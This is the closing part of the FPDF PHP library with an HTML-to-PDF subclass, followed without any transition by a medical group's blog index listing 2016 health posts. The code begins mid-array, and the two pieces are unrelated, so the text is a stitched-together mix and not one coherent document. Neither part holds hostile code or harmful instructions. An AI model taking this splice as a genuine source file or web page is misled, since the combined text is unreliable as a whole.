				chr(198)=>889,chr(199)=>667,chr(200)=>611,chr(201)=>611,chr(202)=>611,chr(203)=>611,chr(204)=>333,chr(205)=>333,chr(206)=>333,chr(207)=>333,chr(208)=>722,chr(209)=>722,chr(210)=>722,chr(211)=>722,chr(212)=>722,chr(213)=>722,chr(214)=>722,chr(215)=>564,chr(216)=>722,chr(217)=>722,chr(218)=>722,chr(219)=>722,
				chr(220)=>722,chr(221)=>722,chr(222)=>556,chr(223)=>500,chr(224)=>444,chr(225)=>444,chr(226)=>444,chr(227)=>444,chr(228)=>444,chr(229)=>444,chr(230)=>667,chr(231)=>444,chr(232)=>444,chr(233)=>444,chr(234)=>444,chr(235)=>444,chr(236)=>278,chr(237)=>278,chr(238)=>278,chr(239)=>278,chr(240)=>500,chr(241)=>500,
				chr(242)=>500,chr(243)=>500,chr(244)=>500,chr(245)=>500,chr(246)=>500,chr(247)=>564,chr(248)=>500,chr(249)=>500,chr(250)=>500,chr(251)=>500,chr(252)=>500,chr(253)=>500,chr(254)=>500,chr(255)=>500);
	return $a;
}

function _escape($s)
{
	// Escape special characters in strings
	$s = str_replace('\\','\\\\',$s);
	$s = str_replace('(','\\(',$s);
	$s = str_replace(')','\\)',$s);
	$s = str_replace("\r",'\\r',$s);
	return $s;
}

function _textstring($s)
{
	// Format a text string
	return '('.$this->_escape($s).')';
}

function _UTF8toUTF16($s)
{
	// Convert UTF-8 to UTF-16BE with BOM
	$res = "\xFE\xFF";
	$nb = strlen($s);
	$i = 0;
	while($i<$nb)
	{
		$c1 = ord($s[$i++]);
		if($c1>=224)
		{
			// 3-byte character
			$c2 = ord($s[$i++]);
			$c3 = ord($s[$i++]);
			$res .= chr((($c1 & 0x0F)<<4) + (($c2 & 0x3C)>>2));
			$res .= chr((($c2 & 0x03)<<6) + ($c3 & 0x3F));
		}
		elseif($c1>=192)
		{
			// 2-byte character
			$c2 = ord($s[$i++]);
			$res .= chr(($c1 & 0x1C)>>2);
			$res .= chr((($c1 & 0x03)<<6) + ($c2 & 0x3F));
		}
		else
		{
			// Single-byte character
			$res .= "\0".chr($c1);
		}
	}
	return $res;
}

function _dounderline($x, $y, $txt)
{
	// Underline text
	$up = $this->CurrentFont['up'];
	$ut = $this->CurrentFont['ut'];
	$w = $this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
	return sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
}

function _parsejpg($file)
{
	// Extract info from a JPEG file
	$a = getimagesize($file);
	if(!$a)
		$this->Error('Missing or incorrect image file: '.$file);
	if($a[2]!=2)
		$this->Error('Not a JPEG file: '.$file);
	if(!isset($a['channels']) || $a['channels']==3)
		$colspace = 'DeviceRGB';
	elseif($a['channels']==4)
		$colspace = 'DeviceCMYK';
	else
		$colspace = 'DeviceGray';
	$bpc = isset($a['bits']) ? $a['bits'] : 8;
	$data = file_get_contents($file);
	return array('w'=>$a[0], 'h'=>$a[1], 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'DCTDecode', 'data'=>$data);
}

function _parsepng($file)
{
	// Extract info from a PNG file
	$f = fopen($file,'rb');
	if(!$f)
		$this->Error('Can\'t open image file: '.$file);
	$info = $this->_parsepngstream($f,$file);
	fclose($f);
	return $info;
}

function _parsepngstream($f, $file)
{
	// Check signature
	if($this->_readstream($f,8)!=chr(137).'PNG'.chr(13).chr(10).chr(26).chr(10))
		$this->Error('Not a PNG file: '.$file);

	// Read header chunk
	$this->_readstream($f,4);
	if($this->_readstream($f,4)!='IHDR')
		$this->Error('Incorrect PNG file: '.$file);
	$w = $this->_readint($f);
	$h = $this->_readint($f);
	$bpc = ord($this->_readstream($f,1));
	if($bpc>8)
		$this->Error('16-bit depth not supported: '.$file);
	$ct = ord($this->_readstream($f,1));
	if($ct==0 || $ct==4)
		$colspace = 'DeviceGray';
	elseif($ct==2 || $ct==6)
		$colspace = 'DeviceRGB';
	elseif($ct==3)
		$colspace = 'Indexed';
	else
		$this->Error('Unknown color type: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Unknown compression method: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Unknown filter method: '.$file);
	if(ord($this->_readstream($f,1))!=0)
		$this->Error('Interlacing not supported: '.$file);
	$this->_readstream($f,4);
	$dp = '/Predictor 15 /Colors '.($colspace=='DeviceRGB' ? 3 : 1).' /BitsPerComponent '.$bpc.' /Columns '.$w;

	// Scan chunks looking for palette, transparency and image data
	$pal = '';
	$trns = '';
	$data = '';
	do
	{
		$n = $this->_readint($f);
		$type = $this->_readstream($f,4);
		if($type=='PLTE')
		{
			// Read palette
			$pal = $this->_readstream($f,$n);
			$this->_readstream($f,4);
		}
		elseif($type=='tRNS')
		{
			// Read transparency info
			$t = $this->_readstream($f,$n);
			if($ct==0)
				$trns = array(ord(substr($t,1,1)));
			elseif($ct==2)
				$trns = array(ord(substr($t,1,1)), ord(substr($t,3,1)), ord(substr($t,5,1)));
			else
			{
				$pos = strpos($t,chr(0));
				if($pos!==false)
					$trns = array($pos);
			}
			$this->_readstream($f,4);
		}
		elseif($type=='IDAT')
		{
			// Read image data block
			$data .= $this->_readstream($f,$n);
			$this->_readstream($f,4);
		}
		elseif($type=='IEND')
			break;
		else
			$this->_readstream($f,$n+4);
	}
	while($n);

	if($colspace=='Indexed' && empty($pal))
		$this->Error('Missing palette in '.$file);
	$info = array('w'=>$w, 'h'=>$h, 'cs'=>$colspace, 'bpc'=>$bpc, 'f'=>'FlateDecode', 'dp'=>$dp, 'pal'=>$pal, 'trns'=>$trns);
	if($ct>=4)
	{
		// Extract alpha channel
		if(!function_exists('gzuncompress'))
			$this->Error('Zlib not available, can\'t handle alpha channel: '.$file);
		$data = gzuncompress($data);
		$color = '';
		$alpha = '';
		if($ct==4)
		{
			// Gray image
			$len = 2*$w;
			for($i=0;$i<$h;$i++)
			{
				$pos = (1+$len)*$i;
				$color .= $data[$pos];
				$alpha .= $data[$pos];
				$line = substr($data,$pos+1,$len);
				$color .= preg_replace('/(.)./s','$1',$line);
				$alpha .= preg_replace('/.(.)/s','$1',$line);
			}
		}
		else
		{
			// RGB image
			$len = 4*$w;
			for($i=0;$i<$h;$i++)
			{
				$pos = (1+$len)*$i;
				$color .= $data[$pos];
				$alpha .= $data[$pos];
				$line = substr($data,$pos+1,$len);
				$color .= preg_replace('/(.{3})./s','$1',$line);
				$alpha .= preg_replace('/.{3}(.)/s','$1',$line);
			}
		}
		unset($data);
		$data = gzcompress($color);
		$info['smask'] = gzcompress($alpha);
		if($this->PDFVersion<'1.4')
			$this->PDFVersion = '1.4';
	}
	$info['data'] = $data;
	return $info;
}

function _readstream($f, $n)
{
	// Read n bytes from stream
	$res = '';
	while($n>0 && !feof($f))
	{
		$s = fread($f,$n);
		if($s===false)
			$this->Error('Error while reading stream');
		$n -= strlen($s);
		$res .= $s;
	}
	if($n>0)
		$this->Error('Unexpected end of stream');
	return $res;
}

function _readint($f)
{
	// Read a 4-byte integer from stream
	$a = unpack('Ni',$this->_readstream($f,4));
	return $a['i'];
}

function _parsegif($file)
{
	// Extract info from a GIF file (via PNG conversion)
	if(!function_exists('imagepng'))
		$this->Error('GD extension is required for GIF support');
	if(!function_exists('imagecreatefromgif'))
		$this->Error('GD has no GIF read support');
	$im = imagecreatefromgif($file);
	if(!$im)
		$this->Error('Missing or incorrect image file: '.$file);
	imageinterlace($im,0);
	$f = @fopen('php://temp','rb+');
	if($f)
	{
		// Perform conversion in memory
		ob_start();
		imagepng($im);
		$data = ob_get_clean();
		imagedestroy($im);
		fwrite($f,$data);
		rewind($f);
		$info = $this->_parsepngstream($f,$file);
		fclose($f);
	}
	else
	{
		// Use temporary file
		$tmp = tempnam('.','gif');
		if(!$tmp)
			$this->Error('Unable to create a temporary file');
		if(!imagepng($im,$tmp))
			$this->Error('Error while saving to temporary file');
		imagedestroy($im);
		$info = $this->_parsepng($tmp);
		unlink($tmp);
	}
	return $info;
}

function _newobj()
{
	// Begin a new object
	$this->n++;
	$this->offsets[$this->n] = strlen($this->buffer);
	$this->_out($this->n.' 0 obj');
}

function _putstream($s)
{
	$this->_out('stream');
	$this->_out($s);
	$this->_out('endstream');
}

function _out($s)
{
	// Add a line to the document
	if($this->state==2)
		$this->pages[$this->page] .= $s."\n";
	else
		$this->buffer .= $s."\n";
}

function _putpages()
{
	$nb = $this->page;
	if(!empty($this->AliasNbPages))
	{
		// Replace number of pages
		for($n=1;$n<=$nb;$n++)
			$this->pages[$n] = str_replace($this->AliasNbPages,$nb,$this->pages[$n]);
	}
	if($this->DefOrientation=='P')
	{
		$wPt = $this->DefPageSize[0]*$this->k;
		$hPt = $this->DefPageSize[1]*$this->k;
	}
	else
	{
		$wPt = $this->DefPageSize[1]*$this->k;
		$hPt = $this->DefPageSize[0]*$this->k;
	}
	$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
	for($n=1;$n<=$nb;$n++)
	{
		// Page
		$this->_newobj();
		$this->_out('<</Type /Page');
		$this->_out('/Parent 1 0 R');
		if(isset($this->PageSizes[$n]))
			$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$this->PageSizes[$n][0],$this->PageSizes[$n][1]));
		$this->_out('/Resources 2 0 R');
		if(isset($this->PageLinks[$n]))
		{
			// Links
			$annots = '/Annots [';
			foreach($this->PageLinks[$n] as $pl)
			{
				$rect = sprintf('%.2F %.2F %.2F %.2F',$pl[0],$pl[1],$pl[0]+$pl[2],$pl[1]-$pl[3]);
				$annots .= '<</Type /Annot /Subtype /Link /Rect ['.$rect.'] /Border [0 0 0] ';
				if(is_string($pl[4]))
					$annots .= '/A <</S /URI /URI '.$this->_textstring($pl[4]).'>>>>';
				else
				{
					$l = $this->links[$pl[4]];
					$h = isset($this->PageSizes[$l[0]]) ? $this->PageSizes[$l[0]][1] : $hPt;
					$annots .= sprintf('/Dest [%d 0 R /XYZ 0 %.2F null]>>',1+2*$l[0],$h-$l[1]*$this->k);
				}
			}
			$this->_out($annots.']');
		}
		if($this->PDFVersion>'1.3')
			$this->_out('/Group <</Type /Group /S /Transparency /CS /DeviceRGB>>');
		$this->_out('/Contents '.($this->n+1).' 0 R>>');
		$this->_out('endobj');
		// Page content
		$p = ($this->compress) ? gzcompress($this->pages[$n]) : $this->pages[$n];
		$this->_newobj();
		$this->_out('<<'.$filter.'/Length '.strlen($p).'>>');
		$this->_putstream($p);
		$this->_out('endobj');
	}
	// Pages root
	$this->offsets[1] = strlen($this->buffer);
	$this->_out('1 0 obj');
	$this->_out('<</Type /Pages');
	$kids = '/Kids [';
	for($i=0;$i<$nb;$i++)
		$kids .= (3+2*$i).' 0 R ';
	$this->_out($kids.']');
	$this->_out('/Count '.$nb);
	$this->_out(sprintf('/MediaBox [0 0 %.2F %.2F]',$wPt,$hPt));
	$this->_out('>>');
	$this->_out('endobj');
}

function _putfonts()
{
	$nf = $this->n;
	foreach($this->diffs as $diff)
	{
		// Encodings
		$this->_newobj();
		$this->_out('<</Type /Encoding /BaseEncoding /WinAnsiEncoding /Differences ['.$diff.']>>');
		$this->_out('endobj');
	}
	foreach($this->FontFiles as $file=>$info)
	{
		// Font file embedding
		$this->_newobj();
		$this->FontFiles[$file]['n'] = $this->n;
		$font = file_get_contents($this->fontpath.$file,true);
		if(!$font)
			$this->Error('Font file not found: '.$file);
		$compressed = (substr($file,-2)=='.z');
		if(!$compressed && isset($info['length2']))
			$font = substr($font,6,$info['length1']).substr($font,6+$info['length1']+6,$info['length2']);
		$this->_out('<</Length '.strlen($font));
		if($compressed)
			$this->_out('/Filter /FlateDecode');
		$this->_out('/Length1 '.$info['length1']);
		if(isset($info['length2']))
			$this->_out('/Length2 '.$info['length2'].' /Length3 0');
		$this->_out('>>');
		$this->_putstream($font);
		$this->_out('endobj');
	}
	foreach($this->fonts as $k=>$font)
	{
		// Font objects
		$this->fonts[$k]['n'] = $this->n+1;
		$type = $font['type'];
		$name = $font['name'];
		if($type=='Core')
		{
			// Core font
			$this->_newobj();
			$this->_out('<</Type /Font');
			$this->_out('/BaseFont /'.$name);
			$this->_out('/Subtype /Type1');
			if($name!='Symbol' && $name!='ZapfDingbats')
				$this->_out('/Encoding /WinAnsiEncoding');
			$this->_out('>>');
			$this->_out('endobj');
		}
		elseif($type=='Type1' || $type=='TrueType')
		{
			// Additional Type1 or TrueType/OpenType font
			$this->_newobj();
			$this->_out('<</Type /Font');
			$this->_out('/BaseFont /'.$name);
			$this->_out('/Subtype /'.$type);
			$this->_out('/FirstChar 32 /LastChar 255');
			$this->_out('/Widths '.($this->n+1).' 0 R');
			$this->_out('/FontDescriptor '.($this->n+2).' 0 R');
			if(isset($font['diffn']))
				$this->_out('/Encoding '.($nf+$font['diffn']).' 0 R');
			else
				$this->_out('/Encoding /WinAnsiEncoding');
			$this->_out('>>');
			$this->_out('endobj');
			// Widths
			$this->_newobj();
			$cw = &$font['cw'];
			$s = '[';
			for($i=32;$i<=255;$i++)
				$s .= $cw[chr($i)].' ';
			$this->_out($s.']');
			$this->_out('endobj');
			// Descriptor
			$this->_newobj();
			$s = '<</Type /FontDescriptor /FontName /'.$name;
			foreach($font['desc'] as $k=>$v)
				$s .= ' /'.$k.' '.$v;
			if(!empty($font['file']))
				$s .= ' /FontFile'.($type=='Type1' ? '' : '2').' '.$this->FontFiles[$font['file']]['n'].' 0 R';
			$this->_out($s.'>>');
			$this->_out('endobj');
		}
		else
		{
			// Allow for additional types
			$mtd = '_put'.strtolower($type);
			if(!method_exists($this,$mtd))
				$this->Error('Unsupported font type: '.$type);
			$this->$mtd($font);
		}
	}
}

function _putimages()
{
	foreach(array_keys($this->images) as $file)
	{
		$this->_putimage($this->images[$file]);
		unset($this->images[$file]['data']);
		unset($this->images[$file]['smask']);
	}
}

function _putimage(&$info)
{
	$this->_newobj();
	$info['n'] = $this->n;
	$this->_out('<</Type /XObject');
	$this->_out('/Subtype /Image');
	$this->_out('/Width '.$info['w']);
	$this->_out('/Height '.$info['h']);
	if($info['cs']=='Indexed')
		$this->_out('/ColorSpace [/Indexed /DeviceRGB '.(strlen($info['pal'])/3-1).' '.($this->n+1).' 0 R]');
	else
	{
		$this->_out('/ColorSpace /'.$info['cs']);
		if($info['cs']=='DeviceCMYK')
			$this->_out('/Decode [1 0 1 0 1 0 1 0]');
	}
	$this->_out('/BitsPerComponent '.$info['bpc']);
	if(isset($info['f']))
		$this->_out('/Filter /'.$info['f']);
	if(isset($info['dp']))
		$this->_out('/DecodeParms <<'.$info['dp'].'>>');
	if(isset($info['trns']) && is_array($info['trns']))
	{
		$trns = '';
		for($i=0;$i<count($info['trns']);$i++)
			$trns .= $info['trns'][$i].' '.$info['trns'][$i].' ';
		$this->_out('/Mask ['.$trns.']');
	}
	if(isset($info['smask']))
		$this->_out('/SMask '.($this->n+1).' 0 R');
	$this->_out('/Length '.strlen($info['data']).'>>');
	$this->_putstream($info['data']);
	$this->_out('endobj');
	// Soft mask
	if(isset($info['smask']))
	{
		$dp = '/Predictor 15 /Colors 1 /BitsPerComponent 8 /Columns '.$info['w'];
		$smask = array('w'=>$info['w'], 'h'=>$info['h'], 'cs'=>'DeviceGray', 'bpc'=>8, 'f'=>$info['f'], 'dp'=>$dp, 'data'=>$info['smask']);
		$this->_putimage($smask);
	}
	// Palette
	if($info['cs']=='Indexed')
	{
		$filter = ($this->compress) ? '/Filter /FlateDecode ' : '';
		$pal = ($this->compress) ? gzcompress($info['pal']) : $info['pal'];
		$this->_newobj();
		$this->_out('<<'.$filter.'/Length '.strlen($pal).'>>');
		$this->_putstream($pal);
		$this->_out('endobj');
	}
}

function _putxobjectdict()
{
	foreach($this->images as $image)
		$this->_out('/I'.$image['i'].' '.$image['n'].' 0 R');
}

function _putresourcedict()
{
	$this->_out('/ProcSet [/PDF /Text /ImageB /ImageC /ImageI]');
	$this->_out('/Font <<');
	foreach($this->fonts as $font)
		$this->_out('/F'.$font['i'].' '.$font['n'].' 0 R');
	$this->_out('>>');
	$this->_out('/XObject <<');
	$this->_putxobjectdict();
	$this->_out('>>');
}

function _putresources()
{
	$this->_putfonts();
	$this->_putimages();
	// Resource dictionary
	$this->offsets[2] = strlen($this->buffer);
	$this->_out('2 0 obj');
	$this->_out('<<');
	$this->_putresourcedict();
	$this->_out('>>');
	$this->_out('endobj');
}

function _putinfo()
{
	$this->_out('/Producer '.$this->_textstring('FPDF '.FPDF_VERSION));
	if(!empty($this->title))
		$this->_out('/Title '.$this->_textstring($this->title));
	if(!empty($this->subject))
		$this->_out('/Subject '.$this->_textstring($this->subject));
	if(!empty($this->author))
		$this->_out('/Author '.$this->_textstring($this->author));
	if(!empty($this->keywords))
		$this->_out('/Keywords '.$this->_textstring($this->keywords));
	if(!empty($this->creator))
		$this->_out('/Creator '.$this->_textstring($this->creator));
	$this->_out('/CreationDate '.$this->_textstring('D:'.@date('YmdHis')));
}

function _putcatalog()
{
	$this->_out('/Type /Catalog');
	$this->_out('/Pages 1 0 R');
	if($this->ZoomMode=='fullpage')
		$this->_out('/OpenAction [3 0 R /Fit]');
	elseif($this->ZoomMode=='fullwidth')
		$this->_out('/OpenAction [3 0 R /FitH null]');
	elseif($this->ZoomMode=='real')
		$this->_out('/OpenAction [3 0 R /XYZ null null 1]');
	elseif(!is_string($this->ZoomMode))
		$this->_out('/OpenAction [3 0 R /XYZ null null '.sprintf('%.2F',$this->ZoomMode/100).']');
	if($this->LayoutMode=='single')
		$this->_out('/PageLayout /SinglePage');
	elseif($this->LayoutMode=='continuous')
		$this->_out('/PageLayout /OneColumn');
	elseif($this->LayoutMode=='two')
		$this->_out('/PageLayout /TwoColumnLeft');
}

function _putheader()
{
	$this->_out('%PDF-'.$this->PDFVersion);
}

function _puttrailer()
{
	$this->_out('/Size '.($this->n+1));
	$this->_out('/Root '.$this->n.' 0 R');
	$this->_out('/Info '.($this->n-1).' 0 R');
}

function _enddoc()
{
	$this->_putheader();
	$this->_putpages();
	$this->_putresources();
	// Info
	$this->_newobj();
	$this->_out('<<');
	$this->_putinfo();
	$this->_out('>>');
	$this->_out('endobj');
	// Catalog
	$this->_newobj();
	$this->_out('<<');
	$this->_putcatalog();
	$this->_out('>>');
	$this->_out('endobj');
	// Cross-ref
	$o = strlen($this->buffer);
	$this->_out('xref');
	$this->_out('0 '.($this->n+1));
	$this->_out('0000000000 65535 f ');
	for($i=1;$i<=$this->n;$i++)
		$this->_out(sprintf('%010d 00000 n ',$this->offsets[$i]));
	// Trailer
	$this->_out('trailer');
	$this->_out('<<');
	$this->_puttrailer();
	$this->_out('>>');
	$this->_out('startxref');
	$this->_out($o);
	$this->_out('%%EOF');
	$this->state = 3;
}
// End of class
}

function hex2dec($couleur = "#000000"){
    $R = substr($couleur, 1, 2);
    $rouge = hexdec($R);
    $V = substr($couleur, 3, 2);
    $vert = hexdec($V);
    $B = substr($couleur, 5, 2);
    $bleu = hexdec($B);
    $tbl_couleur = array();
    $tbl_couleur['R']=$rouge;
    $tbl_couleur['V']=$vert;
    $tbl_couleur['B']=$bleu;
    return $tbl_couleur;
}

//conversion pixel -> millimeter at 72 dpi
function px2mm($px){
    return $px*25.4/72;
}

function txtentities($html){
    $trans = get_html_translation_table(HTML_ENTITIES);
    $trans = array_flip($trans);
    return strtr($html, $trans);
}
////////////////////////////////////

class PDF_HTML extends FPDF
{
//variables of html parser
var $B;
var $I;
var $U;
var $HREF;
var $fontList;
var $issetfont;
var $issetcolor;

function PDF_HTML($orientation='P', $unit='mm', $format='A4')
{
    //Call parent constructor
    $this->FPDF($orientation,$unit,$format);
    //Initialization
    $this->B=0;
    $this->I=0;
    $this->U=0;
    $this->HREF='';
    $this->fontlist=array('arial', 'times', 'courier', 'helvetica', 'symbol');
    $this->issetfont=false;
    $this->issetcolor=false;
}

function WriteHTML($html)
{
    //HTML parser
    $html=strip_tags($html,"<b><u><i><a><img><p><br><strong><em><font><tr><blockquote>"); //supprime tous les tags sauf ceux reconnus
    $html=str_replace("\n",' ',$html); //remplace retour a la ligne par un espace
    $a=preg_split('/<(.*)>/U',$html,-1,PREG_SPLIT_DELIM_CAPTURE); //eclate la chaine avec les balises
    foreach($a as $i=>$e)
    {
        if($i%2==0)
        {
            //Text
            if($this->HREF)
                $this->PutLink($this->HREF,$e);
            else
                $this->Write(5,stripslashes(txtentities($e)));
        }
        else
        {
            //Tag
            if($e[0]=='/')
                $this->CloseTag(strtoupper(substr($e,1)));
            else
            {
                //Extract attributes
                $a2=explode(' ',$e);
                $tag=strtoupper(array_shift($a2));
                $attr=array();
                foreach($a2 as $v)
                {
                    if(preg_match('/([^=]*)=["\']?([^"\']*)/',$v,$a3))
                        $attr[strtoupper($a3[1])]=$a3[2];
                }
                $this->OpenTag($tag,$attr);
            }
        }
    }
}

function OpenTag($tag, $attr)
{
    //Opening tag
    switch($tag){
        case 'STRONG':
            $this->SetStyle('B',true);
            break;
        case 'EM':
            $this->SetStyle('I',true);
            break;
        case 'B':
        case 'I':
        case 'U':
            $this->SetStyle($tag,true);
            break;
        case 'A':
            $this->HREF=$attr['HREF'];
            break;
        case 'IMG':
            if(isset($attr['SRC']) && (isset($attr['WIDTH']) || isset($attr['HEIGHT']))) {
                if(!isset($attr['WIDTH']))
                    $attr['WIDTH'] = 0;
                if(!isset($attr['HEIGHT']))
                    $attr['HEIGHT'] = 0;
                $this->Image($attr['SRC'], $this->GetX(), $this->GetY(), px2mm($attr['WIDTH']), px2mm($attr['HEIGHT']));
            }
            break;
        case 'TR':
        case 'BLOCKQUOTE':
        case 'BR':
            $this->Ln(5);
            break;
        case 'P':
            $this->Ln(10);
            break;
        case 'FONT':
            if (isset($attr['COLOR']) && $attr['COLOR']!='') {
                $coul=hex2dec($attr['COLOR']);
                $this->SetTextColor($coul['R'],$coul['V'],$coul['B']);
                $this->issetcolor=true;
            }
            if (isset($attr['FACE']) && in_array(strtolower($attr['FACE']), $this->fontlist)) {
                $this->SetFont(strtolower($attr['FACE']));
                $this->issetfont=true;
            }
            break;
    }
}

function CloseTag($tag)
{
    //Closing tag
    if($tag=='STRONG')
        $tag='B';
    if($tag=='EM')
        $tag='I';
    if($tag=='B' || $tag=='I' || $tag=='U')
        $this->SetStyle($tag,false);
    if($tag=='A')
        $this->HREF='';
    if($tag=='FONT'){
        if ($this->issetcolor==true) {
            $this->SetTextColor(0);
        }
        if ($this->issetfont) {
            $this->SetFont('arial');
            $this->issetfont=false;
        }
    }
}

function SetStyle($tag, $enable)
{
    //Modify style and select corresponding font
    $this->$tag+=($enable ? 1 : -1);
    $style='';
    foreach(array('B','I','U') as $s)
    {
        if($this->$s>0)
            $style.=$s;
    }
    $this->SetFont('',$style);
}

function PutLink($URL, $txt)
{
    //Put a hyperlink
    $this->SetTextColor(0,0,255);
    $this->SetStyle('U',true);
    $this->Write(5,$txt,$URL);
    $this->SetStyle('U',false);
    $this->SetTextColor(0);
}

}//end of class
?>
Blog - Red Rock Medical Group Blog - Red Rock Medical Group
Dropdown button for navigation mobile view
(702) 877-9514

5701 W. Charleston Blvd, #100
Las Vegas, Nevada 89146

Blog


Blood Work in Las Vegas for Nutritional Deficiencies: What Tests May Reveal

Posted: November 02, 2016

While no one enjoys getting blood work done, doing so can be very insightful, helpful and even life saving. The results of blood tests can show whether a patient has a disease or not. They can even help people find out what they need to do to live a healthier and more vibrant life. Two…

Read The Full Article

Fight or Flight: How Stress Affects People with Diabetes

Posted: November 01, 2016

Patients with diabetes know they have a lot to monitor in their everyday life. From their blood glucose levels and diet to how much they exercise and the diabetes treatment a Las Vegas doctor might recommend to them. Recent research has shown that there is yet another factor that diabetes patients need to monitor: their…

Read The Full Article

The Zika Virus: Are Las Vegas Families at Risk?

Posted: October 28, 2016

Early in September of this year, the CDC announced that it had granted approximately $2.4 million to Chicago, Houston, Los Angeles County, New York City and Philadelphia to combat the spread of the Zika virus. That is in addition to the $193 million that the CDC had already made available to counties within the US….

Read The Full Article

The Latest Pain Management Techniques That Are Proving Effective for Patients

Posted: October 26, 2016

Pain is not something that is always easy to manage. Therefore, researchers and doctors have been studying and implementing a number of pain management techniques over the years. The research has lead to a variety of non-invasive treatments that are making both patients and doctors much happier. A Very Brief History of Pain Management Throughout…

Read The Full Article

What to Take Into Consideration When Choosing an OB/GYN

Posted: October 24, 2016

Choosing the best OB/GYN in Las Vegas is one of the most important decisions a woman in this part of Nevada can make. Not only are these specialists vital for the health of a pregnant woman and her unborn baby, they’re vital for a woman’s health in general. Why an OB/GYN is So Important to…

Read The Full Article

BLOOD WORK LAS VEGAS: PREPARATION

Posted: October 13, 2016

There comes a time in most people’s lives when blood work has to be done. Very few people actually enjoy the process of having blood drawn, but in order to ensure the process goes smoothly and results are not affected by external forces, there are some steps that have to be taken beforehand. Before the…

Read The Full Article

DIABETES TREATMENT IN LAS VEGAS FOR WOMEN: LIFESTYLE

Posted: October 10, 2016

Diabetes is a serious disease for everyone. However, it can be especially hard on women. This is because diabetes can not only affect mothers, but their unborn children as well. Diabetes and Depression in Women Diabetes can have severe effects of women. One example of these effects is depression. Women experience depression approximately twice as…

Read The Full Article

GENERAL PRACTICE VERSUS FAMILY PRACTICE IN LAS VEGAS

Posted: October 03, 2016

Within the medical profession, there are many types of specialists and surgeons, each with their own expertise in a particular branch of healthcare. Often times, the differences between two types of practices are unknown to those who are not in the medical field. Two examples of frequently confused practices are general practice and family practice….

Read The Full Article

PAIN MANAGEMENT IN LAS VEGAS: CHRONIC BACK PAIN AND LIFESTYLE

Posted: September 30, 2016

Many people suffer from some kind of back pain in their lives – whether chronic or acute. Chronic back pain does not only negatively influence an individual’s life and force them to deal with pain every day, it also impacts their relationships with their friends, family, their children, and their spouse. Managing pain is therefore…

Read The Full Article

The Difference Between a Midwife and an OB/GYN in Las Vegas

Posted: September 23, 2016

Choosing whether to have a midwife or an OB/GYN is a critical step in helping ensure one’s birth plan goes accordingly. In order to pave the way for a healthy pregnancy and birth, it is important to be able to differentiate between the two practitioners. What is a Midwife? A certified nurse midwife (CNM) is…

Read The Full Article

Next Page »
Translate »